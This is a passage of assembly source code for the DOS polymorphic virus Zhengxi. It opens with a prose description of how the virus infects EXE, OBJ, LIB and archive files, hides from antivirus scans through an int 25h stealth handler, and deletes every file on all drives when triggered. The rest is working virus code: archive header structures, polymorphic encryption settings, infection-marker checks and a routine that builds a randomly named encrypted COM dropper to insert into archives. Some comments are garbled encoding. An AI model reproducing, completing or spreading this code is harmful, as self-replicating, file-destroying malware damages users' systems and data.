; This is a very insidious infection way. The virus code is hidden in the
; file, and there is no direct entry to the virus code from the file head-
; er. The subroutine replaced with virus loader may be a "seldom-executed"
; one. For instance, a subroutine which displays an error message. So the
; virus may "sleep" in such files for a long time, and then jump out and
; infect the system under some limited conditions.
;
;
; Infecting archives
; ******************
; In case of having to infect an archive, Zhengxi builds in memory the in-
; fected COM dropper image, and appends it to the archive. Those COM drop-
; pers always begin with a jmp instruction followed by random data, the en-
; crypted virus code and the decryption polymorphic loop. The jmp instruc-
; tion brings the control to this decryption loop.
;
; The name of the COM dropper is random selected and finished with a .COM
; extension, for instance:
;
; HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on.
;
; While processing the archive fields, Zhengxi does not use any external u-
; tility, but fills by itself all the necessary fields. The virus does not
; pack the dropper: it uses the "stored" method (the virus is stored in the
; archive "as is"). While infecting, Zhengxi checks the contents of the ar-
; chives, and does not infect them twice.
;
;
; Infecting OBJ and LIB files
; ***************************
; While infecting OBJ/LIB modules, Zhengxi checks the fields of the file,
; creates, and inserts there a new object record which contains the viral
; code, encrypted with two polymorphic loops.
;
; While scanning object files, the virus checks the code of these files for
; a C/Pascal subroutine "header" as well as while inserting into EXE files,
; and infects the files only if that code is found. But if the OBJ or the
; LIB module doesn't contain such code, the virus does not drop the loader
; code there, but overwrites a C/Pascal header with a call instruction.
;
; Being linked to an executable file, that call brings the control to the
; virus polymorphic decryption loop. That loop decrypts the viral code and
; passes the control to the virus installation routine.
;
; As well as in EXE files (inserting), that call may never receive the con-
; trol, so Zhengxi may sleep for a long time. But under some conditions the
; virus may jump out and infect the system.
;
;
; Int 25h handler
; ***************
; This handler carries out the stealth routine on int 25h level. While ac-
; cessing to the directory entries, the virus substitutes the file length
; with the original one. While reading the header of an infected file, the
; virus restores and brings it in its original form.
;
; The virus doesn't stealth 100% on int 25h level, of course. There are se-
; veral ways to bypass this stealth routine. But if some antivirus program
; reads the file contents via int 21h DOS functions, then it reads the di-
; rectory structure and then the file contents by absolute int 25h calls,
; and Zhengxi remains completely invisible.
;
;
; Trigger routine
; ***************
; If while processing a ZIP file Zhengxi finds some record packed with the
; "stored" method, it checks the ZIP file date and time stamp. If the year
; of last modification of that file is 1996 or above, Zhengxi will look for
; all the files of all the directories on all the disks (from C: till Z:),
; and delete them (the files and whole subdirectory tree).
;
; **´ Zhengxi code Ã*******************************************************

; Structure of archive block (low order byte first):


arj_hdr_struc struc
arj_header_id dw ? ; 0;=EA60 2 header id (comment and local
; file) = 0xEA60 or 60000U
arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from
; 'first_hdr_size' thru 'comment' below)
;= first_hdr_size + strlen(filename) + 1
;+ strlen(comment) + 1
;= 0 if end of archive
arj_first_hdr_size db ? ; 4;1E 1 first_hdr_size (up to extra data)
arj_ver_num db ? ; 5;06 1 archiver version number
arj_min_ver db ? ; 6;01 1 min. archiver version to xtract
arj_host_OS db ? ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS,
; 2 = UNIX, 3 = AMIGA, 4 = MACDOS)
arj_flags db ? ; 8;10 1 arj flags (0x01 = GARBLED_FLAG)
; indicates passworded file
; ; (0x02 = RESERVED)
; ; v- no inf.vol.files, detect it as already
; ; (0x04 = VOLUME_FLAG) indicates continued
; file to next volume
; ; (0x08 = EXTFILE_FLAG) indicates file
; starting position field
; ; (0x10 = PATHSYM_FLAG) path translated
arj_compres_method db ? ; 9;00 1 method (0 = stored, 1 = compressed
; most ... 4 compressed fastest)
arj_file_type db ? ; A;00 1 file type (0 = binary, 1 = text
; 2 = comment header)
arj_reserved db ? ; B;'Z' 1 reserved
arj_file_time dw ? ; C; 4 date time stamp modified
arj_file_date dw ? ; E; 4 date time stamp modified

arj_compressed_size dd ? ;10; 4 compressed size


arj_original_size dd ? ;14; 4 original size
arj_CRC32 dd ? ;18; 4 original file's CRC
arj_entryname_pos dw ? ;1C;0 2 entryname position in filename
arj_file_access_mode dw ? ;1E;0 2 file access mode
arj_host_data dw ? ;20;0 2 host data (currently not used)
;22;
; ? filename (null-terminated)
; ? comment (null-terminated)
; 4 basic header CRC
; 2 1st extended header size (0 if none) = 0

; ? compressed file
ends

ha_main struc
hasign db 'HA'
filecnt dw ?
ends

ha_file_hdr struc
ha_ver_method db 20h ; 0
ha_compress_size dd ? ; 2
ha_original_size dd ? ; 6
ha_CRC32 dd ? ; A
ha_file_time dw ? ; E
ha_file_date dw ? ; 10
ha_path dw ? ; '/', '.', '+' ; 12 db
ends ; 14
ha_name equ ha_path+size ha_path
;+1 name
;+n 00h
;+1 length of machine specific information
;+1 machine specific information
;2,1,20

;machine specific information :


;0000 type
;0001 information

rar_main_hdr struc
rar_head_crc dw ?
rar_head_type db 73h
rar_head_flags dw ?
; 0x01 - Volume attribute (archive volume)
; 0x02 - Archive comment present
; 0x04 - Archive lock attribute
; 0x08 - Solid attribute (solid archive)
; 0x10 - Unused
; 0x20 - Authenticity information present
rar_head_size dw ?
rar_reserved1 dw ?
rar_reserved2 dd ?
ends
;Comment block present if (HEAD_FLAGS & 0x02) != 0

rar_file_hdr struc
rar_f_head_crc dw ? ; 0
rar_f_head_type db 74h ; 2
rar_f_head_flags dw ? ; 3
; 0x01 - file continued from previous volume
; 0x02 - file continued in next volume
; 0x04 - file encrypted with password
; 0x08 - file comment present
; (HEAD_FLAGS & 0x8000) == 1, because full
; block size is HEAD_SIZE + PACK_SIZE
rar_f_head_size dw ? ; 5
rar_compressed_size dd ? ; 7
rar_original_size dd ? ; B
rar_host_os db 0 ; F
rar_crc32 dd ? ;10
rar_file_time dw ? ;14
rar_file_date dw ? ;16
rar_req_ver db 15d ;18
rar_method db 30h ;19
rar_fname_size dw ? ;1A
rar_file_attrib dd ? ;1C
ends ;20
;FILE_NAME File name - string of NAME_LEN bytes size
;Comment block present if (HEAD_FLAGS & 0x08) != 0
;???? Other extra included blocks - reserved for future use

zip_local_header struc
zip_loc_sign db 'PKETXEOT' ; 0
zip_ver_ned_to_extr dw ? ; 4

zip_flags dw ? ; 6
zip_compression_method dw ? ; 8
zip_file_time dw ? ; A
zip_file_date dw ? ; C

zip_crc_32 dd ? ; E
zip_compressed_size dd ? ; 12
zip_uncompressed_size dd ? ; 16
zip_size_fname dw ? ; 1A
zip_extra_field_length dw ? ; 1C
ends ; 1E
; filename (variable size)
; extra field (variable size)
zip_central_header struc
zip_centr_sign_ db 'PKETXEOT' ; 0
zip_ver_made_by_ dw ? ; 4
zip_ver_ned_to_extr_ dw ? ; 6
zip_flags_ dw ? ; 8
zip_compression_method_ dw ? ; A
zip_file_time_ dw ? ; C
zip_file_date_ dw ? ; E
zip_crc_32_ dd ? ; 10
zip_compressed_size_ dd ? ; 14
zip_uncompressed_size_ dd ? ; 18
zip_size_fname_ dw ? ; 1C
zip_extra_field_length_ dw ? ; 1E
zip_file_comment_length_ dw ? ; 20
zip_disk_number_start_ dw ? ; 22
zip_intrnl_file_attr_ dw ? ; 24
zip_extrnl_file_attr_ dd ? ; 26
zip_rel_off_of_loc_hdr_ dd ? ; 2A
ends ; 2E
; filename (variable size)
; extra field (variable size)
; file comment (variable size)

zip_end_header struc
end_file_hdr_sign db 'PKENQACK' ; 0
num_of_this_disk dw ? ; 4
num_of_the_start_disk dw ? ; 6
ttl_num_of_ent_on_this_disk dw ? ; 8
ttl_num_of_ent_in_the_cent_dir dw ? ; A
size_of_the_central_directory dd ? ; C
off_of_strt_of_cent_directory dd ? ; 10
zipfile_comment_length dw ? ; 14
ends ; 16
; zipfile comment (variable size)

seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1

MODEND = 08Ah
SEGDEF = 098h
FIXUPP = 09Ch
LEDATA = 0A0h
;extrn dosseek_cx_0:near
objrec struc
rectype db ?
recsize dw ?
UNION
STRUC
segattr db ?
segsize dw ?
ENDS
STRUC
dataidx db ?
dataorg dw ?
ENDS
ENDS
ENDS

LIB_DICTIONARY_ENTRY_SIZE = 200h
lib_hdr struc
lib_hdr_type db 0F0h
lib_hdr_recsize dw ?
lib_hdr_dict_offs dd ?
lib_hdr_dict_size dw ?
lib_hdr_flags db ?
lib_hdr_padding db 10h-lib_hdr_padding dup (?)
ends

;;MRORW MACRO w1, shval


;;PUSHSTATE
;;.386
;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl
;; (10h-(shval and 0Fh)))
;;POPSTATE
;;ENDM

CRC32w MACRO moreshit


PUSHSTATE
.386
LOCAL cum_crc, byt, suxx
cum_crc = 0FFFFFFFFh
IRP _byt, <moreshit>
byt = _byt xor (cum_crc and 0FFh)
cum_crc = (cum_crc shr 8) and 0FFFFFFh
REPT 8
IF byt and 1
byt = (byt shr 1) xor 0EDB88320H
ELSE
byt = byt shr 1
ENDIF
ENDM
cum_crc = cum_crc xor byt
ENDM
cum_crc = not cum_crc

suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \
(((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh)))

suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx


dw suxx
POPSTATE
ENDM

cmp_ax_CRC32w MACRO moreshit


db 3Dh
CRC32w <moreshit>
ENDM

.286
%NOINCL
%NOSYMS
.SFCOND
.XCREF
.SALL

locals
USE_PUSHA equ 0
;RELIZ equ 0
;USE_BEEP equ 0

$BEEP$ macro
IFDEF USE_BEEP
extrn beep:near
call beep
ENDIF
endm
;***************************************************************************
INCLUDE SF.INC ;\
INCLUDE FIND.INC ;|
INCLUDE EXE.INC ;> ¨§ ¨á室-¨ª®¢ MS-DOS 3.30
INCLUDE PDB.INC ;|
INCLUDE DPB.INC ;|
INCLUDE DIRENT.INC ;|
INCLUDE ARENA.INC ;/
;***************************************************************************
INCLUDE STAR14T.INC
INCLUDE ABSDISK.INC
INCLUDE ARXHDRS.ASI
INCLUDE SHMAC.INC
INCLUDE CRC.ASI
;***************************************************************************
GLOBAL RND_INIT:near, \
RND_GET:near, \ randomizer
RND_GET_THREE_BITS:near, \
RND_GET_BYTE:near
;***************************************************************************
;***************************************************************************
RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI
RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH

secondbyte RECORD M0D:2, REG:3, R_M:3

asgrbl RECORD N :1, \


REG_GARBL3 :1, \ ॣ¨áâàë
REG_GARBL2 :1, \ -¥ ¨á¯®«ì§ã¥¬ë¥
REG_GARBL1 :1, \ ¤«ï à áè¨*஢ª¨
REG_TMP2 :1, \ ¤«ï ª®-áâ -â
REG_TMP1 :1, \
REG_ENC :1, \
REG_INDEX :1 ; 㪠§ ⥫ì - è¨*à㥬®¥ á«®¢®

REG_GARBL_ALL = MASK REG_GARBL1 or \ ॣ¨áâàë


MASK REG_GARBL2 or \ -¥ ¨á¯®«ì§ã¥¬ë¥
MASK REG_GARBL3 ; ¤«ï à áè¨*஢ª¨
REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàë
MASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥
MASK REG_TMP2 ; ¤«ï à áè¨*஢ª¨
REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë (ªà®¬¥ SP)
REG_ENC_ALL or \
REG_GARBL_ALL ;
;*current*not*used**********************************************************
ENFLAGS RECORD EN_SAVE_REGS :1, \ á®åà -ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨*஢ª®©
EN_USE_INT :1, \ ¥-ª®¤¨âì ¯à¥àë¢ -¨ï
EN_USE_CALL :1, \ ¥-ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP near
EN_USE_JMPS :1, \ ¥-ª®¤¨âì ãá«®¢-ë¥ ¯¥à¥å®¤ë
EN_INT_GARBL :1, \ ¬ «® «¥¢ëå ¨-áâàãªæ¨© ¢ à áè¨*஢騪¥
EN_RELOCATOR :1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥-¨¥ ¢ ¯ ¬ïâ¨
EN_BFR_GARBL :2
;***************************************************************************

ENFLAGS_ARX = MASK EN_RELOCATOR or \


MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;
;***************************************************************************
;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥
ENFLAGS_EXE = MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;
;***************************************************************************
ENFLAGS_HDR = MASK EN_INT_GARBL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS
;***************************************************************************
;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ c podgruzkoi
ENFLAGS_IXE = MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS or \
(2 shl EN_BFR_GARBL) ;
;***************************************************************************
;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥
ENFLAGS_OBJ = MASK EN_INT_GARBL or \
MASK EN_SAVE_REGS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
(1 shl EN_BFR_GARBL) ;
;***************************************************************************
;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥
;ENFLAGS_OBJ = MASK EN_INT_GARBL or \
; MASK EN_SAVE_REGS or \
; MASK EN_RELOCATOR
;***************************************************************************
;®¯ª®¤ë
opNOP equ 90h
opPUSHF equ 9Ch
opINT equ 0CDh
opCALL equ 0E8h
opJMPN equ 0E9h
opJMPS equ 0EBh
opSEGCS equ 2Eh
opSEGES equ 26h
opRETN equ 0C3h
opRETF equ 0CBh
opJMPFAR equ 0EAh
opMOV_AHimm equ 0B4h
opPUSH_CS equ 0Eh
opPUSHA equ 60h
opPOPA equ 61h
opJC equ 72h
opJZ equ 74h
opPOP_AX equ 58h
opPUSH_AX equ 50h
opCMP_AXimm equ 3Dh
opCMP_ALimm equ 3Ch
;***************************************************************************
;¬¨-¨¬ «ì-ë© ¨ ¬ ªá¨¬ «ì-ë© à §¬¥àë § à ¦ ¥¬ëå EXEè-¨ª®¢
MININFECTSIZE equ 400h ; 1k
MAXINFECTSIZE equ 80000h ;512k
;***************************************************************************
INTERVAL_INFECT = 2
INCUB_TIME = 3 ;14 sec

VIRUSSTACKSIZE equ 0D0h


TIMEMARKER equ 1
SIZEMARKER equ 157d
SIZEMARKER_MOD equ 37d
CRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì-® ¢®§¬®¦-ë© (!)
DOUBLEENCRYPT equ 80h
HDRCRYPTLEVEL equ 4Fh
EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT
IXECRYPTLEVEL equ 29h
ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT
OBJCRYPTLEVEL equ 1Fh
IRP EXT, <ARX,EXE,IXE,OBJ,HDR>
zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT
ENDM
UNINIT equ 1111h
ZIP_SIGN = 4B50h
ARJ_SIGN = 60000d
RAR_SIGN = 6152h
HA_METHOD_STORED = 20H
ARJ_METHOD_STORED = 0
ZIP_METHOD_STORED = 0
RAR_METHOD_STORED = 30h
ZIP_LCL_ID = 403h
ZIP_CNL_ID = 201h
ZIP_END_ID = 605h
CRLF equ <0Dh,0Ah>
;***************************************************************************
;dword_shit struc
; lo dw ?
; hi dw ?
;ends
dword_shit struc
union
lo dw ?
struc
l db ?
h db ?
ends
ends
hi dw ?
ends

;***************************************************************************
ifInfJump macro whatest, execut
extrn IfInfect&whatest:near
; lea di, execut
call IfInfect&whatest
endm
;***************************************************************************
probability_test macro variabl, glb_pr, go_to
local __1
extrn variabl:byte
call RND_GET_BYTE
cmp ah, byte ptr ds:[variabl]
jae __1
cmp al, glb_pr
__1:
jae go_to
endm
prALWAYS = -1

;***************************************************************************
ENGBUFFER STRUC ;
UNION
STRUC ;
zmeflags ENFLAGS ?
cur_cryptlevel db ?
ENDS
zmefl dw ?
ENDS
datasize dw ?
jmp_after_decrypt dw ?
targetptr dw ?
segm_IDT db ?
cJMP_patch dw ?
nJMP_patch dw ?
begin_sub dw ?
end_of_jmp dw ?
start_reg2 dw ?
start_reg3 dw ?
loop_top dw ?
lastgarble db ?
lastchoose db ?
decryptor_size dw ?
relocator_base dw ?
reloff_1 dw ?
reloff_2 dw ?
value_J dw ?
value_X dw ?
value_Y dw ?
useregs asgrbl ?
IRPC NR, 0123456
reg&NR RegWord ?
ENDM
ENDS
;***************************************************************************

;all_memory_size_p=400h ;16k in memory :)


all_memory_size_p=700h ;20k in memory :(
HDRBUFSIZE = 22h
hp equ (bp-80h)

WORKBUFFER STRUC
UNION
STRUC ;infect ARX
_arx_crc dd ?
_fnamestr db 12d dup (?)
_hafcount dw ?
ENDS
STRUC ;infect OMF
_siz98 dw ?
_posA0 dd ?
_sizA0 dw ?
_lib_dict_offset dw ?
ENDS
STRUC
UNION
STRUC ;func 4B
_load_fname dw ?
_load_array dw ?
ENDS
STRUC ;func 3F
_rd_st_cnt dw ?
_st_rd_off dw ?
_beg_pos_lo dw ?
ENDS
ENDS
UNION
_saved_seek dd ? ;for restore header etc
STRUC ;stealth int25
_start_sec dd ?
_abs_read_drive db ?
ENDS
ENDS
ENDS
ENDS
_host_arx_date dw ? ; ¤*â § à ¦ ¥¬®£® * ©«
_host_arx_time dw ? ; ¤*â § à ¦ ¥¬®£® * ©«
_beg_pos dd ? ;use in "f_insert"
_pos98 dd ?
_fisize dw ?
_fioff dw ?
_fnamesize dw ?
_crthdr db 40h dup (?)
_last_infect_time dw ?
_hook dw ?
_close_on_error db ? ;if 1, doserror-> close file
_save_sp dw ?
_save_ss dw ?
_after_goto dw ?
_five_bytes db 5 dup (?)
_turn_name_crc dw ?
_engdata ENGBUFFER ?
_exehdr db HDRBUFSIZE dup (?)
; _dataencriptor dd CRYPTLEVEL dup (?)
; _for_ret db ?

ENDS
_hahdr equ _exehdr
_ziphdr equ _exehdr
_arjhdr equ _exehdr
_rarhdr equ _exehdr
_objhdr equ _exehdr
_libhdr equ _exehdr
_sfxhdr equ _exehdr
_shift_buffer equ _exehdr

To_hp MACRO some_label


some_label equ (hp+_&some_label&)
ENDM

To_hp host_arx_date
To_hp host_arx_time
To_hp hook
To_hp last_infect_time
To_hp close_on_error
To_hp after_goto
To_hp lib_dict_offset
To_hp hafcount
To_hp saved_seek
To_hp start_sec
To_hp abs_read_drive
To_hp beg_pos
To_hp arx_crc
To_hp load_fname
To_hp load_array
To_hp rd_st_cnt
To_hp st_rd_off
To_hp beg_pos_lo
To_hp fnamestr
To_hp pos98
To_hp siz98
To_hp posA0
To_hp sizA0
To_hp fisize
To_hp fioff
To_hp fnamesize
To_hp engdata
To_hp crthdr
To_hp exehdr
To_hp save_sp
To_hp save_ss
To_hp five_bytes
To_hp turn_name_crc
To_hp hahdr
To_hp ziphdr
To_hp arjhdr
To_hp rarhdr
To_hp objhdr
To_hp libhdr
To_hp sfxhdr
To_hp shift_buffer

PURGE To_hp

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
IFDEF USE_BEEP
public beep

beep proc
call beep1
beep endp

beep1 proc
push cx ax
mov al, 3
out 61h, al
REPT 2
loop $
ENDM
mov al, 0
out 61h, al
pop ax cx
ret
beep1 endp
ENDIF
ends
end

;include shmac.inc
include star14t.inc
code segment public byte
assume cs:code
public Calculate_CRC
public Calculate_CRC5
;-+----------------------------------------------------------+-
;ds:si=ptr
;di=size
;return: cx:dx=crc32
;-+----------------------------------------------------------+-
Calculate_CRC5:
mov di, 5
Calculate_CRC:
cld
push bx
mov cx, -1
mov dx, cx
DO
xor ax, ax
xor bx, bx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
DO
shr bx, 1
rcr ax, 1
DOIF C
xor ax, 08320H
xor bx, 0EDB8H
DONE
dec dh
CYCLE NZ
xor cx, ax
xor dx, bx
dec di
CYCLE NZ
not dx
not cx
pop bx
mov ax, dx
ror ax, cl
add ax, cx
ret
;-+----------------------------------------------------------+-
ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code

;.DATA
public vir_heap, StealthName, start_data
public dataencriptor
public heap
public InfectTurn
public zip_h
public arj_h

;public five_bytes

zip_h dw ZIP_SIGN, ZIP_LCL_ID, 14h


arj_h dw ARJ_SIGN, 31Eh
start_data:
vir_heap:

WORKBUFFER ?

dataencriptor dd CRYPTLEVEL dup (?)


for_ret db ?

StealthName db 80h dup (?)


InfectTurn db 80h dup (?)
pblabel continue21
db 11d dup (?)
db ?
ret_hook dd ?
ret_sux dw ?
public ret_hook
public ret_sux
; public after_goto
;after_goto dw ?

heap:
db 1800h dup (?)
end_data:
;nameforinfect db 80h dup (?)
;CurDta
mem_virus_end:
;data_size=end_data-begin_data
;all_memory_size_p equ (offset mem_virus_end+30h)/10h
ends
end

code segment byte public


assume cs:code, ds:code, es:code, ss:code
public get_sft
get_sft proc ;bx-handle ;es:di-ptr to sft
push ax bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx ax
ret
get_sft endp
ends
end

code segment byte public


assume cs:code, ds:code, es:code, ss:code

public get_cur_time
get_cur_time proc
push ds
xor ax, ax
mov ds, ax
mov ax, word ptr ds:[46Dh]
pop ds
ret
get_cur_time endp

ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h
extrn restore_seek :near
extrn save_seek :near
extrn seek_end :near
extrn dosseek_bof :near
extrn DOSCALL :near
extrn DosCall_exc :near
extrn NOSTL21NAMES :near
extrn get_own_name :near
extrn get_crc_just_fname :near
;extrn check_PROCESS_NAME :near
;extrn EXE_TEST_READ :near
extrn start_data :near
extrn dosclose :near
extrn read_buf_22 :near

;public exe_test_read
;public IfInfectName
;public IfInfectHandle
;public IfInfectBuf
;public IfInfectNameCustom
;public exe_test
;public test_size

;-+------------------------------------------------------------------------+-
pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file
mov ax, 3D40h ; open R/O file
pblabel IfInfectNameCustom
mov byte ptr cs:[ErrorRead], opCALL
call DosCall_exc ; open file
; ¥á«¨ -¥ ®âªà®¥âáï - ®ç¥-ì ¯«®å® :(
;- ¤® ®¡ï§ ⥫ì-® ®âªàëâì (67h?)
; push bx
xchg bx, ax
call seek_end
call test_size

; jnz ErrorRead

jz IfInfectHandle1
ErrorRead:
call dosclose ; close file
pop ax
ret
;-+------------------------------------------------------------------------+-

pblabel IfInfectHandle
mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file
IfInfectHandle1:
MOVSEG ds, cs
;*****************test size

mov ax, 4400h ; IOCTL test for file/stream


call DosCall ;NDD: open 'CON' :)
jc ErrorRead ;no file
rol dl, 1
jc ErrorRead ;no file

call save_seek
;
; call seek_end
; call test_size
; jnz ErrorRead
;
call dosseek_bof
call read_buf_22
; jc ErrorRead
call restore_seek

pblabel IfInfectBuf
;if PKZIP, NDD (ZF=1) - no stealth
push ds dx
call get_own_name
call get_crc_just_fname
pop dx ds
jz ErrorRead
call exe_test
jnz ErrorRead ;test for infect

mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS]


add ax, [exehdr.exe_par_dir]
mov cx, 10h
mul cx
add ax, [exehdr.exe_SP]
sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size
cmp ah, MININFECTSIZE/100h
jb ErrorRead
test al, 1
jnz ErrorRead
ret
;IfInfectHandle endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect
;ZF=0 - no infected file
; mov ax, [exehdr.exe_SS]
; inc ax
; sub ax, [exehdr.exe_CS]
; DOIF Z

mov al, [exehdr.exe_SS.h]


sub al, [exehdr.exe_CS.h]
cmp al, 17h
DOIF BE
mov ax, [exehdr.exe_SP]
and ax, 0FFF0h
sub ax, STACKBASE
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel test_size ;ax-(file_size and 0FFFFh)
;-+------- test for already infect -> ZF=1 if possible infect
;ZF=0 - no infected file
;for length with virus
push ax cx dx
xor dx, dx
mov cx, SIZEMARKER
div cx
cmp dx, SIZEMARKER_MOD
pop dx cx ax
ret
;-+------------------------------------------------------------------------+-

ends
end

; BUG LIST
; 1. no infect ARJSFX
; 2. no -AV in ZIP
; 3. no support RAR 1.30
; 4. no support long names

INCLUDE ZURICH.ASI

code segment byte public


assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h

;****************************************************************************
extrn DOSCALL :near
extrn DOStruncate :near
extrn rt_err :near
extrn vir_heap :near
extrn EXE_TEST :near
extrn SEEK_END :near
extrn TEST_SIZE :near
extrn START_DATA :near
extrn CALC_HDR_PAGES :near
extrn DOSSEEK :near
extrn START_DATA :near
extrn DOSSEEK_BOF :near
extrn ZME_crypt :near
extrn dosseek_cur :near
extrn DosCall_exc :near
extrn SHIT_AX :near
extrn get_sft :near
extrn dostell :near
extrn heap :near
extrn DosSeek_all :near
extrn dosseek_cur_neg_dx :near
extrn dosseek_cur_neg_ax :near
extrn dosseek_cur_cx_1 :near
extrn dosseek_cur_cx_0 :near
extrn dosseek_cx_0 :near
extrn arj_h :near
extrn zip_h :near
extrn dosread :near
extrn read_buf_22 :near
extrn read_buf_cx :near
extrn DosWrite_shbuf_22 :near
extrn DosWrite_shbuf :near
extrn DosWrite :near
extrn dosclose :near
extrn doswrite_from_heap :near
extrn _____ :byte
extrn Calculate_CRC :near
extrn get_cur_time :near
extrn get_crc_just_fname :near
extrn InfectTurn :byte
extrn crypt_exe_header :near
;****************************************************************************

;****************************************************************************
pblabel InfectName
MOVSEG ds, cs
lea dx, InfectTurn
call get_crc_just_fname
jz $ret$
cmp ax, [turn_name_crc]
je $ret$
mov [turn_name_crc], ax
mov ax, 3D12h
call DosCall_exc
xchg bx, ax
push bx
call InfectHandle
pop bx
jmp dosclose
;****************************************************************************

;****************************************************************************
pblabel InfectHandle ;ret
; cld
MOVSEG ds, cs
MOVSEG es, cs
call no_freq_proc
mov ax, 5700h
call doscall
mov [host_arx_date], dx ; dx = date
mov [host_arx_time], cx ; cx = time
mov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ......
call doscall
xor dx, [host_arx_date] ;-¥ § à ¦ âì * ©«ë í⮩ -¥¤¥«¨
and dx, 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ * ©«ë (?)
DOIF NZ
call arxtest
DONE
mov cx, [host_arx_time]
xor cl, 1 ;change time for 1F
mov dx, [host_arx_date]
mov ax, 5701h
jmp doscall_exc
;****************************************************************************

;****************************************************************************
pblabel arxtest ;close file(?)
call RND_INIT
mov ax, 4400h ; IOCTL test for file/stream
call DosCall_exc
cmp dl, 80h
DOIF NC
$ret: pop ax ;don't restore file time
$ret$: retn
DONE
and dl, 0Fh
inc dx ;1=a, 3=C

;IFDEF RELIZ
; cmp dl, 3
;ELSE
; cmp dl, 4
; jbe $ret ; no flop & C:
;ENDIF
; jc $ret ; no flop
;int 2bh

cmp dl, 3 ;<<debug


jbe $ret ;<<debug
$BEEP$
;cmp dl, 2 ;<<debug
;je $ret ;<<debug
;cmp dl, 1 ;<<debug
;je $ret ;<<debug

call get_sft
cmp es:[di.sf_name.9], 'V' ;*.ov?
je $ret
inc di
DOIF NZ
inc di
sto_word 2012h
sto_byte 20h
DONE

movseg es, ss

push bx ds
mov ah, 32h ;get DPB
call DosCall ;test for RAM-DISK
cmp byte ptr ds:dpb_FAT_count[bx], 1 ;RAM-DISK have one FAT
DOIF NE
mov ah, 36h ;get Disk space
call DosCall ;BX - free clusters
and bh, bh ;BX < 100h
DONE
;no_free_space2: ;8k*100h = 2Mb
pop ds bx ;.5k*100h = 128k
jz $ret

;int 2bh
; mov es:[(di-1).sf_mode.l], 12h ;mode +2
; mov es:[(di-1).sf_attr], 20h ;attr +4

call dosseek_bof
pblabel second_tst
call read_buf_22
cmp al, HDRBUFSIZE
jne __ret
mov crcpass, 8
DO
shr crcpass, 1
DOIF E ;CPU conveir
__ret:
ret
DONE
lea si, [vir_heap._exehdr]
mov di, 2 ;4,2,1
crcpass equ byte ptr ($-2)
call calculate_crc
lea di, hdrs
mov cx, (offs-hdrs)/2
repne scasw
CYCLE NZ

push word ptr [di+offs-hdrs-2]


cmp cx, (offs-endarxex)/2 ;<<<
DOIF AE ;zip, arj, rar
;*[create & infect file]****************************************************
call RND_GET_BYTE
lea di, [heap]
sto_byte opJMPN
stosw
mov ax, zmeflARX
call ZME_crypt ;;ret CX-SIZE
lea si, [heap]
mov word ptr [fioff] , si
mov [si+1], ax ;<com
call RND_GET
and ax, 0FFFh ;<<<<<<<<<<,
; push ax
add ax, 3 ;<com
add cx, ax

mov word ptr [fisize], cx ;<all


; pop ax
call SHIT_AX
;create & infect carrier
mov di, [fisize]
call Calculate_CRC
mov [arx_crc.lo], cx
mov [arx_crc.hi], dx
;*[generate name]************************************************************
;int 2bh
;$BEEP$
call RND_GET_Three_Bits
and al, not 4
add al, 2
mov cx, ax
add al, 4
mov word ptr [fnamesize], ax
lea di, [vir_heap._fnamestr]
DO
DO
call RND_GET_BYTE
cmp al, 'V'-'A' ; ('Z'-'A')
CYCLE A
add al, 'A'
stosb
CYCLE LU
sto_two_byte '.', 'C'
sto_two_byte 'O', 'M'
;****************************************************************************
DONE
MOV [pos98.hi], -1
$$ret:
retn
;****************************************************************************

;*Å**[process EXE/SFX]*****************************************************Å*
pblabel process_exe
